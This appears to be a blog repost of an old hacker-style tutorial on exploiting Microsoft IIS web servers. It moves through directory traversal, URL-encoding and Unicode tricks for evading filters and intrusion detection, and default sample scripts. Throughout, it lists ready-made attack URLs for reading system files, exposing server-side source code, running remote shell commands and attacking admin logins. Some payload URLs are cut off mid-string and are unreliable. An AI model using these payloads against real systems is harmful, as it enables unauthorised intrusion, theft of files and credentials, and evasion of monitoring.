--[On the first day, God created directory traversal]
Relative paths are the developers friend. They allow an entire website to
be moved to another directory without the need for changing all the links
in the html. For example, lets say we have a webpage called 'pictures.html'
in the htdocs dir:
Absolute path: /home/webpages/htdocs/pictures.html
Absolute path: /home/webpages/images/pic1.gif
In the html you can refer to the 'pic1.gif' via an absolute path shown
above or use a relative path:
Relative path: ../images/pic1.gif
The relative path tells the server that it has to go to the parent
directory (dot dot) --> from /home/webpages/htdocs to /home/webpages. Then
the server goes into the images dir and looks for the gif file to display.
Anyone who has used the 'cd' command in DOS and *nix should be familiar
with the operation. So what's the problem I hear you ask... well, the
programmers of web server didn't think to check the supplied URL to ensure
that the requested file was actually in the web directory. This allows
someone to backtrack through the servers directory structure and request
files that the web server has access to. For example,
http://www.target.com/../../../etc/passwd
NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):
http://www.target.com//....//....//...././etc/./passwd
The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.
--[On the second day, God created Hexadecimal]
Once programmers started to realise the mistake they began to create parser
routines to check for naughty URL's and keep the requests within the
document root. Then along comes a wiley hacker who wonders if by encoding
the URL will it still be recognised by the parser routines.
You may have noticed that when you enter a URL that includes a space it is
replaced with the hex equivalent (%20):
http://www.target.com/stuff/my index.html
becomes
http://www.target.com/stuff/my%20index.html
and voila, it works. So what would happen if we changed the now denied URL:
http://www.target.com/../../../etc/passwd
to
http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd
The parser routine checks for the existence of dots in the path and finds
none... the webserver then proceeds with the request.
An interesting feature is that you can encode the hex symbol and the web
server will decode it all for you. This is called the "double decode".
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the
following will take place:
(1) On the first decode, the string will be converted to:
"http://victim.com/..%2f..%2fdocs/"
[%25 = '%' so '%252f' is decoded to '%2f']
(2) On the second decode, the string will be converted to:
"http://victim.com/../../docs/"
[%2f = '/']
--[On the third day, God created Unicode]
The World Wide Web is a global phenomenon and as such needs to be globally
interoperable. This raised the question of how to deal with all the different
character sets around the world. As a response to this, Unicode was created:
-----------------------------------------------------------------
Unicode provides a unique number for every character, no matter
what the platform, no matter what the program, no matter what
the language. The Unicode Standard has been adopted by such
industry leaders as Apple, HP, IBM, JustSystem, Microsoft,
Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is
required by modern standards such as XML, Java, ECMAScript
(JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official
way to implement ISO/IEC 10646. It is supported in many operating
systems, all modern browsers, and many other products.
-----from http://www.unicode.org---------------------------------
The problem with Unicode is that it requires 16 bits for a single character
and software tended to use 8 bits for a single character. Unicode TransForm
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a
variable number of bytes can be used for each character:
Character 1-byte 2-byte 3-byte
. 2E C0 AE E0 80 AE
/ 2F C0 AF E0 80 AF
\ 5C C1 9C E0 81 9C
This lead to a new vulnerability in certain webservers. The parser didn't
understand this new encoding and allowed it through :-)
For example:
http://www.target.com/%C0%AE%C0%AE/%...%AE/etc/passwd
Recent vulnerabilities have been taking advantage of the fact that the web
server doesn't understand the Unicode UTF-8 character set but the underlying
OS does:
http://www.target.com/scripts/..%c0%...d.exe?/c%20dir
Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:
%uxxxx = Unicode
%xx%xx = UTF-8
%xx = Hexidecimal
%xxxx = Double Decode
--[On the fourth day, God created default installs]
IIS comes installed with various DLL's (Dynamic Link Libraries) that
increase the functionality of the web server. These ISAPI (Internet Server
API) applications allow programmers/developers to deliver more functionality
to IIS.
The DLL's are loaded into memory at startup and offer significant speed
over traditional CGI programs. For example, they can be combined with the
Internet Database Connector (httpodbc.dll) to create interactive sites that
use ODBC to access databases.
The problem is that some of these DLL's are insecure and are often installed
with sample scripts that demonstrate how to exploit, erm, I mean use them.
ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active
Server Pages) are basically HTML pages with embedded code that is processed
by the webserver before serving it to the client.
Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]
/default.asp.
** Appending a '.' to the URL can reveal the source
** on older systems. Remember hex encoding? You can
** also try using %2e to do the same thing.
/msadc/samples/adctest.asp
** This gives you an interface into the msadcs.dll
** and allows creation of DSN's. Read RFP's stuff
** for idea's on how to exploit this.
/iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini
** You can view the source of anything in the
** document root. '/msadc/' needs to be in the
** request as it is checked for, wait for this,
** security :-)
/index.asp::$DATA
** Appending '::$DATA' to the URL can reveal
** the source of the ASP.
/index.asp%81
** Append a hex value between 0x81 and 0xfe
** and you can reveal the source of any server
** processed file. This only works on servers
** that are Chinese, Japanese or Korean.
/AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|
** This one allows you to execute remote
** shell commands ;-)
ISM.DLL is used to process requests that end in ".htr". These pages were used
to administer IIS3 servers. In IIS4 they are not used but various .htr samples
are installed by default anyway and offer another avenue for entry.
/index.asp%20%20%20..(220 more)..%20%20.htr
** IIS will redirect this request to ISM.DLL,
** which will strip the '.htr' extension and
** deliver the source code of the file.
/global.asa+.htr
** Does the same thing as the %20%20 exploit
** above. ISM.DLL strips the +.htr and delivers
** you the source of the file
/scripts/iisadmin/ism.dll?http/dir
** Excellent brute force opportunity if the
** dll exists. Successful logons will reveal
** lots of useful stuff.
/iisadmpwd/aexp.htr
** The iisadmpwd diectory contains several .htr
** files that allow NetBIOS resolution and
** password attacks.
/scripts/iisadmin/bdir.htr??c:\inetpub\www
Guide to IIS Exploitation
Posted by Black Napster at 12:22 PM
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